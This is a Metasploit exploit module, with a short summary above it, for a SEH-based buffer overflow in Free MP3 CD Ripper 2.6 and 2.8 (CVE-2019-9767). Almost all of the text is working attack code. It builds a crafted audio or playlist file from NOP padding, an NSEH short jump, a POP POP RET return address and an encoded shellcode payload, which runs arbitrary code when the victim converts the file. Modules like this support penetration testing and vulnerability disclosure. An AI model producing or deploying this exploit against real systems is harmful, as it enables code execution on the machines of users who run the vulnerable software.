This Metasploit module exploits a buffer overflow in Free MP3 CD Ripper versions 2.6 and 2.8. By constructing a specially crafted WMA WAV M3U ACC FLAC file and attempting to convert it to an MP3 file in the application, a buffer is overwritten, which allows for running shellcode.
93482b8f1d9c8f6f9b71706c24ed882a##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => "Free MP3 CD Ripper 2.6 < 2.8 (.wma.wav.flac.m3u.acc) Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow in Free MP3 CD Ripper versions 2.6 and 2.8.
By constructing a specially crafted WMA WAV M3U ACC FLAC file and attempting to convert it to an MP3 file in the
application, a buffer is overwritten, which allows for running shellcode.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gionathan Reale', # Exploit-DB POC
'ZwX' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2019-9767' ],
[ 'EDB', '45412' ],
[ 'URL', 'https://www.exploit-db.com/exploits/45412' ]
],
'Platform' => 'win',
'Targets' =>
[
[
'Windows 7 x86 - Windows 7 x64',
{
'Ret' => 0x66e42121 # POP POP RET
}
]
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x2f"
},
'Privileged' => false,
'DisclosureDate' => "Sep 09 2018",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'Create malicious file example extension (.wma .wav .acc .flac .m3u)', 'name.wma'])
])
end
def exploit
file_payload = payload.encoded
msfsploit = make_fast_nops(4116)
msfsploit << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # NSEH_JMP
msfsploit << [target.ret].pack("V*") # SEH
msfsploit << file_payload
msfsploit << make_fast_nops(4440)
file_create(msfsploit)
end
end